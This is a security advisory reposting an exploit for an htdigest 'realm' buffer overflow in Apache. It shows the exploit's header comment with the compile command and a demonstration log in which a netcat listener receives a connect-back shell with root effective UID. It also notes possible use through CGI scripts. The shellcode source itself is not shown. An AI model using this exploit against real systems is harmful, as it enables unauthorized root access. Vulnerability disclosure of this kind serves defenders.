      Apache HTDigest Realm Command Overflow (Exploit)
    ------------------------------------------------------------------------

    SUMMARY

    htdigest is "a utility included with Apache Web Server, useful to create
    and update usernames, realms and passwords for digest authentication of
    HTTP users".

    Due improper testing of bounds by the htdigest program, an attacker that
    is able to invoke the program can cause it to execute arbitrary code.

    DETAILS

    Exploit:
    /*
     * htdigest-realm-bof.c by K-sPecial 5-11-2005 { irc://irc.xzziroz.net }
     *
     * exploit for htdigest 'realm' parameter overflow; not sure on versions,
    seems to be <= 1.3.27 <= 2.0.52
     * http://www.securiteam.com/unixfocus/5EP061FEKC.html
     *
     * compile with: gcc -o htdigest-realm-bof htdigest-realm-bof.c -std=c99
     *
     * One thing to note, apache seems to have htdigest going on quite odd,
    this code was written
     * for the version that the htdigest sh script links together, debian
    seems to install the actual binary,
     * so these might not be compatible. Also to note, this code was tested
    and created using the htdigest
     * script/lt-htdigest that comes with apache 2.0.52
     *
     * kspecial@xzziroz:/usr/src/httpd-2.0.52/support$ ./htdigest -c file
    `./htdigest-realm-bof` user
     * Adding password for user in realm 1 1 1 Q Q Q Q f 1 1 QQhfh9 fQ SWR f 1
    9 t1 1 ? 1 ? 1 ? 1 1 Phn/shh//bi PS
     * 1 .
     * ^[[?1;2cNew password:
     * Re-type new password:
     *
     * kspecial@xzziroz:~$ nc -lvp 1337
     * listening on [any] 1337 ...
     * 127.1.1.1: inverse host lookup failed: Unknown host
     * connect to [127.1.1.1] from (UNKNOWN) [127.1.1.1] 2965
     * id
     * uid=1000(kspecial) gid=1000(kspecial) euid=0(root)
    groups=100(users),1000(kspecial),1002(media)
     *
     *
     * Of course the binary is not setuid by default. This ploit could be
    possibly useful to gain a
     * shell when htdigest is being ran through a CGI script.
